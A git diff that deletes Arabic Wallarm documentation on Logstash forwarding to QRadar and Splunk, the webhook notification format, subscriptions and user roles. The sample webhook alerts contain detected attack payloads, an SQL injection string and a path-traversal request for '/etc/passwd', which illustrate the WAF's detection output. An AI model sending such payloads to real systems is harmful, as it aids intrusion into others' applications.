السجلات من Logstash إلى QRadar بتنسيق JSON وفقًا لمعيار [Syslog](https://en.wikipedia.org/wiki/Syslog) - * يتم إنشاء الاتصال مع QRadar عبر TCP - * يتم طباعة سجلات Logstash أيضًا على سطر الأوامر (السطر الخامس عشر). يتم استخدام الإعداد للتحقق من تسجيل الأحداث عبر Logstash - -```bash linenums="1" -input { - http { # input plugin for HTTP and HTTPS traffic - port => 5044 # port for incoming requests - ssl => true # HTTPS traffic processing - ssl_certificate => "/etc/server.crt" # Logstash TLS certificate - ssl_key => "/etc/server.key" # private key for TLS certificate - } -} -output { - syslog { # output plugin to forward logs from Logstash via Syslog - host => "109.111.35.11" # IP address to forward logs to - port => "514" # port to forward logs to - protocol => "tcp" # connection protocol - codec => json # format of forwarded logs - } - stdout {} # output plugin to print Logstash logs on the command line -} -``` - -يتوفر وصف أكثر تفصيلًا لملفات التكوين في [وثائق Logstash الرسمية](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "اختبار تكوين Logstash" - للتحقق من أن سجلات Logstash يتم إنشاؤها وإعادة توجيهها إلى QRadar، يمكن إرسال طلب POST إلى Logstash. - - **مثال على الطلب:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات Logstash:** - ![السجلات في Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-curl-log.png) - - **سجلات QRadar:** - ![السجلات في QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log.png) - - **بيانات سجل QRadar:** - ![بطاقة مستخدم جديد في QRadar من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log-payload.png) - -### تكوين QRadar (اختياري) - -في QRadar، يتم تكوين مصدر السجل. يساعد ذلك في العثور بسهولة على سجلات Logstash في قائمة جميع السجلات في QRadar، ويمكن أيضًا استخدامه لتصفية السجلات مستقبلاً. يتم تكوين مصدر السجل على النحو التالي: - -* **اسم مصدر السجل**: `Logstash` -* **وصف مصدر السجل**: `سجلات من Logstash` -* **نوع مصدر السجل**: نوع محلل سجلات الوارد المستخدم مع معيار Syslog `Universal LEEF` -* **تكوين البروتوكول**: معيار إعادة توجيه السجلات `Syslog` -* **مُعرف مصدر السجل**: عنوان IP لـLogstash -* الإعدادات الافتراضية الأخرى - -يتوفر وصف أكثر تفصيلًا لإعداد مصدر السجل في QRadar في [الوثائق الرسمية لIBM](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf). - -![إعداد مصدر السجل QRadar لـLogstash](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-setup.png) - -### تكوين تكامل Logstash - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![تكامل ويب هوك مع Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[مزيد من التفاصيل حول تكوين تكامل Logstash](../logstash.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -سيقوم Logstash بتسجيل الحدث على النحو التالي: - -![سجل عن المستخدم الجديد في QRadar من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-user-log.png) - -سيتم عرض البيانات التالية بتنسيق JSON في بيانات سجل QRadar: - -![بطاقة مستخدم جديد في QRadar من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index 148322e24f..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1,110 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk Enterprise عبر Logstash - -توفر لك هذه التعليمات مثالاً على دمج Wallarm مع جامع البيانات Logstash لإعادة توجيه الأحداث إلى نظام Splunk SIEM. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![تدفق Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-scheme.png) - -## الموارد المستخدمة - -* [Splunk Enterprise](#splunk-enterprise-configuration) مع WEB URL `https://109.111.35.11:8000` و API URL `https://109.111.35.11:8088` -* [Logstash 7.7.0](#logstash-configuration) مُثبت على Debian 11.x (bullseye) ومتاح على `https://logstash.example.domain.com` -* الوصول بصلاحيات المدير إلى وحدة تحكم Wallarm في [السحابة الأوروبية](https://my.wallarm.com) ل[تكوين دمج Logstash](#configuration-of-logstash-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -نظرًا لكون الروابط المشار إليها لخدمات Splunk Enterprise وLogstash مثالية، فهي لا تستجيب. - -### تكوين Splunk Enterprise - -يتم إرسال سجلات Logstash إلى Splunk HTTP Event Controller بالاسم `Wallarm Logstash logs` وإعدادات افتراضية أخرى: - -![تكوين HTTP Event Collector](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-setup.png) - -للوصول إلى HTTP Event Controller، سيتم استخدام الرمز المولد `93eaeba4-97a9-46c7-abf3-4e0c545fa5cb`. - -تتوفر وصف أكثر تفصيلاً لإعداد HTTP Event Controller لـ Splunk في [الوثائق الرسمية لـ Splunk](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector). - -### تكوين Logstash - -نظرًا لأن Wallarm ترسل السجلات إلى جامع البيانات المتوسط Logstash عبر webhooks، يجب أن يفي تكوين Logstash بالمتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* وجود URL عام -* توجيه السجلات إلى Splunk Enterprise، هذا المثال يستخدم الإضافة `http` لتوجيه السجلات - -يتم تكوين Logstash في ملف `logstash-sample.conf`: - -* يتم تكوين معالجة webhook الواردة في قسم `input`: - * يتم إرسال الحركة إلى المنفذ 5044 - * Logstash مُكون لقبول الاتصالات HTTPS فقط - * شهادة TLS لـ Logstash الموقعة من قِبل CA موثوق بها علنًا توجد ضمن الملف `/etc/server.crt` - * المفتاح الخاص لشهادة TLS يوجد ضمن الملف `/etc/server.key` -* يتم تكوين توجيه السجلات إلى Splunk وإخراج السجل في قسم `output`: - * تتم إعادة توجيه السجلات من Logstash إلى Splunk بتنسيق JSON - * يتم توجيه جميع سجلات الأحداث من Logstash إلى نقطة النهاية لـ API Splunk `https://109.111.35.11:8088/services/collector/raw` عبر طلبات POST. لتفويض الطلبات، يُستخدم رمز HTTPS Event Collector - * بالإضافة إلى ذلك، يتم طباعة سجلات Logstash على سطر الأوامر (السطر 15 من الكود). يُستخدم الإعداد للتحقق من تسجيل الأحداث عبر Logstash - -```bash linenums="1" -input { - http { # إضافة مدخلات لحركة HTTP وHTTPS - port => 5044 # المنفذ للطلبات الواردة - ssl => true # معالجة حركة HTTPS - ssl_certificate => "/etc/server.crt" # شهادة TLS لـ Logstash - ssl_key => "/etc/server.key" # المفتاح الخاص لشهادة TLS - } -} -output { - http { # إضافة مخرجات لإعادة توجيه السجلات من Logstash عبر بروتوكول HTTP/HTTPS - format => "json" # تنسيق السجلات المعاد توجيهها - http_method => "post" # الطريقة الHTTP المستخدمة لإعادة توجيه السجلات - url => "https://109.111.35.11:8088/services/collector/raw" # نقطة النهاية لإعادة توجيه السجلات إليها - headers => ["Authorization", "Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb"] # رؤوس HTTP لتفويض الطلبات - } - stdout {} # إضافة مخرجات لطباعة سجلات Logstash على سطر الأوامر -} -``` - -تتوفر وصف أكثر تفصيلاً لملفات التكوين في [الوثائق الرسمية لـ Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "اختبار تكوين Logstash" - للتحقق من أن سجلات Logstash تم إنشاؤها وإرسالها إلى Splunk، يمكن إرسال طلب POST إلى Logstash. - - **مثال الطلب:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **سجلات Logstash:** - ![سجلات Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-curl-log.png) - - **حدث Splunk:** - ![أحداث Splunk](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-curl-log.png) - -### تكوين دمج Logstash - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![دمج Webhook مع Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[المزيد من التفاصيل عن تكوين دمج Logstash](../logstash.md) - -## اختبار المثال - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -سيقوم Logstash بتسجيل الحدث كما يلي: - -![سجل عن مستخدم جديد في Splunk من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-user-log.png) - -سيتم عرض السجل التالي في أحداث Splunk: - -![بطاقة المستخدم الجديد في Splunk من Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-user.png) - -## تنظيم الأحداث في لوحة بيانات - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook.md b/docs/latest-ar/user-guides/settings/integrations/webhook.md deleted file mode 100644 index f47377ade9..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1,258 +0,0 @@ -# الويب هوك - -يمكنك تعيين Wallarm لإرسال الإشعارات الفورية لأي نظام يقبل الويب هوك الواردة عبر بروتوكول HTTPS. - -## تنسيق الإشعار - -تُرسل الإشعارات بإما تنسيق JSON Array أو تنسيق New Line Delimited JSON (NDJSON) حسب اختيارك أثناء إعداد التكامل. يعتمد مجموعة من الأجسام JSON على الحدث الذي أرسلت له الإشعار. مثلاً: - -* اكتشاف الهجوم - - === "JSON Array" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 20.714285714285715, - "method": "GET", - "path": "/", - "payloads": [ - "1' select version();" - ], - "point": [ - "get", - "id" - ], - "probability": 20.714285714285715, - "remote_country": null, - "remote_port": 41253, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519823, - "create_time": 1703519826, - "response_len": 345, - "response_status": 404, - "response_time": 359, - "stamps": [ - 7965 - ], - "regex": [], - "stamps_hash": 271168947, - "regex_hash": -2147483648, - "type": "sqli", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "rest", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 1.0357142857142858, - "parameter": "GET_id_value", - "applications": [ - "default" - ] - } - } - }, - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 2.5, - "method": "GET", - "path": "/etc/passwd", - "payloads": [ - "/etc/passwd" - ], - "point": [ - "uri" - ], - "probability": 2.5, - "remote_country": null, - "remote_port": 41254, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519826, - "create_time": 1703519829, - "response_len": 345, - "response_status": 404, - "response_time": 339, - "stamps": [ - 2907 - ], - "regex": [], - "stamps_hash": -1063984326, - "regex_hash": -2147483648, - "type": "ptrav", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "none", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 0.22727272727272727, - "parameter": "URI_value", - "applications": [ - "default" - ] - } - } - } - ] - ``` - === "New Line Delimited JSON (NDJSON)" - ```json - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":20.714285714285715,"method":"GET","path":"/","payloads":["1' select version();"],"point":["get","id"],"probability":20.714285714285715,"remote_country":null,"remote_port":41253,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519823,"create_time":1703519826,"response_len":345,"response_status":404,"response_time":359,"stamps":[7965],"regex":[],"stamps_hash":271168947,"regex_hash":-2147483648,"type":"sqli","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"rest","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":1.0357142857142858,"parameter":"GET_id_value","applications":["default"]}} - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":2.5,"method":"GET","path":"/etc/passwd","payloads":["/etc/passwd"],"point":["uri"],"probability":2.5,"remote_country":null,"remote_port":41254,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519826,"create_time":1703519829,"response_len":345,"response_status":404,"response_time":339,"stamps":[2907],"regex":[],"stamps_hash":-1063984326,"regex_hash":-2147483648,"type":"ptrav","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"none","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":0.22727272727272727,"parameter":"URI_value","applications":["default"]}} - ``` -* كشف أمني - - === "JSON Array" - ```json - [ - { - summary:"[Wallarm] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - === "New Line Delimited JSON (NDJSON)" - ```json - {"summary":"[Wallarm] New vulnerability detected","description":"Notification type: vuln\nNew vulnerability was detected in your system.\nID: \nTitle: Test\nDomain: example.com\nPath: \nMethod: \nDiscovered by: \nParameter: \nType: Info\nThreat: Medium\nMore details: https://us1.my.wallarm.com/object/555\nClient: TestCompany\nCloud: US","details":{"client_name":"TestCompany","cloud":"US","notification_type":"vuln","vuln_link":"https://us1.my.wallarm.com/object/555","vuln":{"domain":"example.com","id":null,"method":null,"parameter":null,"path":null,"title":"Test","discovered_by":null,"threat":"Medium","type":"Info"}}} - ``` - -## إعداد التكامل - -1. افتح Wallarm UI → **التكاملات**. -1. انقر على الويب هوك أو انقر فوق الزر **إضافة تكامل** واختر **الويب هوك**. -1. أدخل اسم التكامل. -1. أدخل URL الويب هوك الهدف. -1. إذا كان مطلوبًا، قم بتكوين الإعدادات المتقدمة: - - --8<-- "../include/integrations/webhook-advanced-settings.md" - - ![مثال على الإعدادات المتقدمة](../../../images/user-guides/settings/integrations/additional-webhook-settings.png) -1. اختر أنواع الأحداث لتحفيز الإشعارات. - - ![تكامل الويب هوك](../../../images/user-guides/settings/integrations/add-webhook-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة الإعدادات، وتوفر سحابة Wallarm، وتنسيق الإشعارات. يتم دائمًا إرسال الإشعارات الاختبارية بتنسيق JSON Array، حتى إذا تم اختيار New Line Delimited JSON (NDJSON). -1. انقر **إضافة التكامل**. - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -### مثال: الإشعار إلى URL الويب هوك إذا تمت إضافة عنوان IP إلى القائمة السوداء - -إذا تمت إضافة عنوان IP إلى القائمة السوداء، سيتم إرسال الويب هوك حول هذا الحدث إلى URL الويب هوك. - -![مثال على المحفز لـIP القائمة السوداء](../../../images/user-guides/triggers/trigger-example4.png) - -**لاختبار المحفز:** - -1. افتح وحدة تحكم Wallarm → **قوائم IP** → **القائمة السوداء** وأضف عنوان IP إلى القائمة السوداء. على سبيل المثال: - - ![إضافة IP إلى القائمة السوداء](../../../images/user-guides/triggers/test-ip-blocking.png) -2. تحقق من أن ال̉ويب هوك التالي تم إرساله إلى URL الويب هوك: - - ``` - [ - { - "summary": "[Wallarm] Trigger: New IP address was denylisted", - "description": "Notification type: ip_blocked\n\nIP address 1.1.1.1 was denylisted until 2021-06-10 02:27:15 +0300 for the reason Produces many attacks. You can review blocked IP addresses in the \"Denylist\" section of Wallarm Console.\nThis notification was triggered by the \"Notification about denylisted IP\" trigger. The IP is blocked for the application Application #8.\n\nClient: TestCompany\nCloud: EU\n", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "ip_blocked", - "trigger_name": "Notification about denylisted IP", - "application": "Application #8", - "reason": "Produces many attacks", - "expire_at": "2021-06-10 02:27:15 +0300", - "ip": "1.1.1.1" - } - } - ] - ``` - - * `Notification about denylisted IP` هو اسم المحفز - * `TestCompany` هو اسم حساب شركتك في وحدة تحكم Wallarm - * `EU` هو Wallarm Cloud حيث تم تسجيل حساب شركتك - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" diff --git a/docs/latest-ar/user-guides/settings/subscriptions.md b/docs/latest-ar/user-guides/settings/subscriptions.md deleted file mode 100644 index 0b66f94c31..0000000000 --- a/docs/latest-ar/user-guides/settings/subscriptions.md +++ /dev/null @@ -1,48 +0,0 @@ -# الاشتراكات - -تعرض قسم **الإعدادات** → **الاشتراكات** في واجهة Wallarm تفاصيل [خطة اشتراكك](../../about-wallarm/subscription-plans.md) في Wallarm. - -## خطة الاشتراك المدفوعة - -إذا كنت تمتلك خطة اشتراك مدفوعة في Wallarm، فسيعرض بطاقة الاشتراك المعلومات التالية: - -* اسم الاشتراك وحالته -* تاريخ انتهاء الاشتراك -* إحصائيات عن الطلبات التي تمت معالجتها بواسطة عقدة التصفية -* مجموعة الوحدات والميزات المتضمنة في خطة الاشتراك (تعتمد المجموعة على خطة الاشتراك المختارة) - -![خطة الاشتراك المدفوعة](../../images/user-guides/settings/subscriptions/subscriptions.png) - -لتفعيل أو إلغاء أو تغيير اشتراك، يرجى إرسال طلب إلى [sales@wallarm.com](mailto:sales@wallarm.com). - -## استخدام الفئة المجانية (السحابة الأمريكية) - -إذا كنت قد سجلت في السحابة الأمريكية وتستخدم خطة الاشتراك [الفئة المجانية](../../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud)، فسيعرض بطاقة الاشتراك المعلومات التالية: - -* بلاط اشتراك **الفئة المجانية** -* بلاط اشتراك **اكتشاف API** (متضمن في الفئة المجانية) -* إحصائيات عن الطلبات التي تمت معالجتها بواسطة عقدة التصفية -* مجموعة [الوحدات والميزات المفعلة](../../about-wallarm/subscription-plans.md#free-tier-us-cloud) - -لتفعيل أو إلغاء أو تغيير اشتراك، يرجى إرسال طلب إلى [sales@wallarm.com](mailto:sales@wallarm.com). - -## الفترة التجريبية (السحابة الأوروبية) - -إذا كنت قد سجلت مؤخرًا في السحابة الأوروبية وتستخدم [النسخة التجريبية](../../about-wallarm/subscription-plans.md#trial-period) من Wallarm، فسيعرض بطاقة الاشتراك المعلومات التالية: - -* اسم الاشتراك وحالته -* تاريخ انتهاء الاشتراك - - تستمر الفترة التجريبية 14 يومًا ويمكن تمديدها لـ 14 يومًا إضافيًا مرة واحدة. -* زر لتمديد الفترة التجريبية - - تستمر الفترة التجريبية 14 يومًا ويمكن تمديدها لـ 14 يومًا إضافيًا مرة واحدة. إذا كانت الفترة التجريبية قد تم تمديدها بالفعل، الزر غير متاح. -* إحصائيات عن الطلبات التي تمت معالجتها بواسطة عقدة التصفية -* مجموعة الوحدات والميزات المفعلة - - توفر الفترة التجريبية لـ Wallarm أقصى مجموعة من الوحدات والميزات التي يمكن تضمينها في خطة [أمان API](../../about-wallarm/subscription-plans.md#subscription-plans). -* إذا كان لديك خطة PoC معتمدة مع فريق Wallarm، رابط إلى وثيقة نتائج PoC - -![الفترة التجريبية](../../images/user-guides/settings/subscriptions/subscriptions-trial-with-poc.png) - -للحصول على مزيد من المعلومات حول الاشتراك في Wallarm أو لتفعيل خطة اشتراك مدفوعة، يرجى إرسال طلب إلى [sales@wallarm.com](mailto:sales@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/users.md b/docs/latest-ar/user-guides/settings/users.md deleted file mode 100644 index 11767697ed..0000000000 --- a/docs/latest-ar/user-guides/settings/users.md +++ /dev/null @@ -1,147 +0,0 @@ -[link-audit-log]: audit-log.md - -[link-glossary-incident]: ../../glossary-en.md#security-incident -[link-glossary-vulnerability]: ../../glossary-en.md#vulnerability - -[img-configure-user]: ../../images/user-guides/settings/configure-user.png -[img-disabled-users]: ../../images/user-guides/settings/disabled-users.png -[img-search-user]: ../../images/user-guides/settings/search-users.png -[img-add-user]: ../../images/user-guides/settings/integrations/webhook-examples/adding-user.png -[img-add-user-invitation-link]: ../../images/user-guides/settings/invite-user-by-link.png -[img-user-menu]: ../../images/user-guides/settings/user-menu.png -[img-disabled-user-menu]: ../../images/user-guides/settings/disabled-user-menu.png -[img-edit-user]: ../../images/user-guides/settings/edit-user.png -[img-user-disable-2fa]: ../../images/user-guides/settings/users-disable-2fa.png -[img-user-menu-disable-2fa]: ../../images/user-guides/settings/disable-2fa-button.png -[img-disable-delete-multi]: ../../images/user-guides/settings/users-multi-disable-access.png -[img-enable-delete-multi]: ../../images/user-guides/settings/users-multi-enable-access.png - -# إدارة المستخدمين - -قم بدعوة أعضاء فريقك للانضمام إلى حساب Wallarm الخاص بك وتخصيص دور معين لكل منهم للحفاظ على المعلومات الحساسة وتحديد الإجراءات في الحساب. يمكنك إدارة المستخدمين تحت القسم **الإعدادات** → **المستخدمين**. - -فقط أدوار **المسؤول** و**المسؤول العام** لديهم صلاحيات إدارة المستخدمين. - -## أدوار المستخدمين - -يمكن لمستخدمي Wallarm أن يكونوا بالأدوار التالية: - -* **المسؤول** بحيث يملكون الولوج إلى جميع الإعدادات الخاصة بـ Wallarm. -* **المحلل** بحيث يملكون الولوج لرؤية الإعدادات الاساسية لـ Wallarm, وإدارة المعلومات حول الهجمات، [الحوادث][link-glossary-incident] و[الثغرات الأمنية][link-glossary-vulnerability]. -* **للقراءة فقط** بحيث يملكون الولوج لرؤية الإعدادات الأساسية لـ Wallarm. -* **مطور API** بحيث يملكون الولوج لعرض وتحميل جرد API المكتشف من خلال وحدة [اكتشاف API](../../api-discovery/overview.md). هذا الدور يسمح بتمييز المستخدمين الذين تتطلب مهامهم فقط استخدام Wallarm للحصول على بيانات حقيقية عن واجهات برمجة التطبيقات في الشركة. هؤلاء المستخدمين ليس لديهم الولوج إلى أي أقسام من الواجهة الرئيسية لـ Wallarm ما عدا **اكتشاف API**، وواجهتها، و **الإعدادات → الملف الشخصي**. -* **التوزيع** بحيث يملكون الولوج لإنشاء عقد تصفية Wallarm باستخدام البرنامج النصي `addnode` وبدون الحاجة للولوج إلى الواجهة الرئيسية لـ Wallarm. - - !!! warning "استخدام دور التوزيع لتثبيت عقدة Wallarm 4.0" - يوصى بأن يستخدم دور **التوزيع** فقط لتثبيت العقد 3.6 وما هو أقل من ذلك، حيث أن [البرنامج النصي `addnode` لم يعد مستخدمًا في الإصدار 4.0](../../updating-migrating/older-versions/what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). - -تتيح لك خاصية [التعدد الكائن](../../installation/multi-tenant/overview.md) أيضا استخدام الأدوار العالمية **المسؤول العام**، و**المحلل العام**، و**القراءة العامة فقط**. توفر الأدوار العالمية للمستخدمين الوصول إلى حساب المستأجر الفني والحسابات المستأجرة المرتبطة، بينما توفر الأدوار العادية للمستخدمين الوصول فقط إلى حساب المستأجر الفني. - -توفر المعلومات التفصيلية حول الحق في الوصول إلى كيانات Wallarm الخاصة بأدوار المستخدم المختلفة في الجدول أدناه. يشمل إدارة الكيان إنشاء الكيان، وتحريره، وحذفه. - -| الكيان | المسؤول / المسؤول العام | المحلل / المحلل العام | صلاحية القراءة فقط / القراءة العامة فقط | مطور API | -|-----------------|------------------------------|------------------|----------------------------------|---| -| **عقد التصفية** | رؤية وإدارة | رؤية | رؤية | - | -| **الواجهة الرئيسية** | رؤية | رؤية | رؤية | - | -| **الهجمات** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **الحوادث** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **الثغرات الامنية** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **جرد API من خلال اكتشاف API** | رؤية وإدارة | رؤية وإدارة | - | رؤية وتحميل | -| **المواصفات الخاصة بـAPI** | رؤية وإدارة | رؤية | رؤية | رؤية | -| **الماسح الضوئي** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **المحفّزات** | رؤية وإدارة | - | - | - | -| **قوائم IP** | رؤية، إدارة، وتصدير | رؤية، إدارة، وتصدير | رؤية وتصدير | - | -| **القواعد** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **كشف جرائم الإعتمادات** | رؤية وإدارة | رؤية وإدارة | رؤية | - | -| **حماية BOLA** | رؤية وإدارة | رؤية | - | - | -| **التكاملات** | رؤية وإدارة | - | - | - | -| **نمط الترشيح** | رؤية وإدارة | رؤية | رؤية | - | -| **التطبيقات** | رؤية وإدارة | رؤية | رؤية | - | -| **المستخدمين** | رؤية وإدارة | - | رؤية | - | -| **سجل النشاط** | رؤية | - | رؤية | - | - -## دعوة مستخدم - -يمكنك إضافة مستخدم لحسابك باستخدام طريقتين، كلاهما يتضمنان إنشاء ومشاركة رابط الدعوة. يمكنك إما أن تجعل Wallarm ترسل تلقائيا الرابط الدعوة إلى البريد الإلكتروني الخاص بالمستخدم المحدد أو مشاركة الرابط مباشرة مع المستخدم. - -### دعوة البريد الإلكتروني التلقائية - -بالنسبة لهذه الوسيلة، قم بتحديد دور المستخدم، والبريد الإلكتروني، والأسماء مقدما، وسيقوم Wallarm تلقائيا بإرسال بريد دعوة يحتوي على رابط لتسجيل الدخول وتعيين كلمة مرور إلى بريد المستخدم المحدد. يجب على المستخدم ثم اتباع الرابط لإكمال عملية التسجيل. - -لإرسال رابط الدعوة تلقائيًا، انقر على الزر **إضافة مستخدم جديد** وأكمل النموذج: - -![نموذج المستخدم الجديد][img-add-user] - -بعد تقديم النموذج، سيتم إضافة المستخدم إلى قائمة المستخدمين الخاصة بك وسيتلقى بريدًا إلكترونيًا يحتوي على رابط الدعوة. - -### مشاركة الرابط الدعوة يدويا - -قم بإنشاء رابط للدعوة من خلال تحديد بريد العضو في فريقك، ودوره، ومدة الرابط باستخدام الخيار **الدعوة عبر الرابط**. ثم شارك هذا الرابط مع المستخدم المعني. - -![رابط الدعوة الجديد للمستخدم][img-add-user-invitation-link] - -يؤدي هذا الرابط إلى صفحة التسجيل في Wallarm لإنشاء حسابهم عن طريق اختيار كلمة مرور وإدخال اسمهم. - -بعد التسجيل، سيتم إضافتهم إلى قائمة المستخدمين الخاصة بك وسيتلقون بريدًا إلكترونيًا لتأكيد. - -## تغيير إعدادات المستخدم - -بمجرد ظهور المستخدم في قائمة المستخدمين، يمكنك تحرير إعداداتهم باستخدام خيار **تعديل إعدادات المستخدم** من القائمة المستخدم المقابلة. يسمح لك هذا بتغيير دور المستخدم المخصص لهم، والاسم الأول، واسم العائلة. - -## تعطيل التوثيق الثنائي (2FA) - -إذا كان لدى المستخدم [توثيق ثنائي (2FA) ممكّن](account.md#enabling-two-factor-authentication) وتحتاج إلى إعادة تعيينه، حدد خيار **تعطيل 2FA** من قائمة المستخدم. أكد العملية بإدخال كلمة مرور حساب المسؤول الخاص بك في Wallarm. - -![قائمة إجراءات المستخدم][img-user-menu-disable-2fa] - -هذا سيعطل التوثيق الثنائي للمستخدم المحدد. يمكن للمستخدم إعادة تمكين التوثيق الثنائي من خلال إعدادات ملفهم الشخصي. - -## تعطيل وحذف المستخدمين - -* لتعليق قدرة تسجيل دخول حساب Wallarm للمستخدم مؤقتًا دون حذف معلومات حسابهم، استخدم خيار **تعطيل الوصول** بجوار اسمهم. تحديد هذا الخيار يعرفهم بالرمادي في القائمة الرئيسية للمستخدمين ويقوم بإدراجهم تحت علامة التبويب **معطل**. أعد تنشيط حسابهم عن طريق اختيار **تمكين الوصول**، مما يتيح لهم تسجيل الدخول والوصول إلى Wallarm مرة أخرى. -* للإزالة الدائمة ولسحب حق الولوج لتسجيل الدخول إلى الأبد، حدد **حذف المستخدم** من قائمة المستخدم. هذا 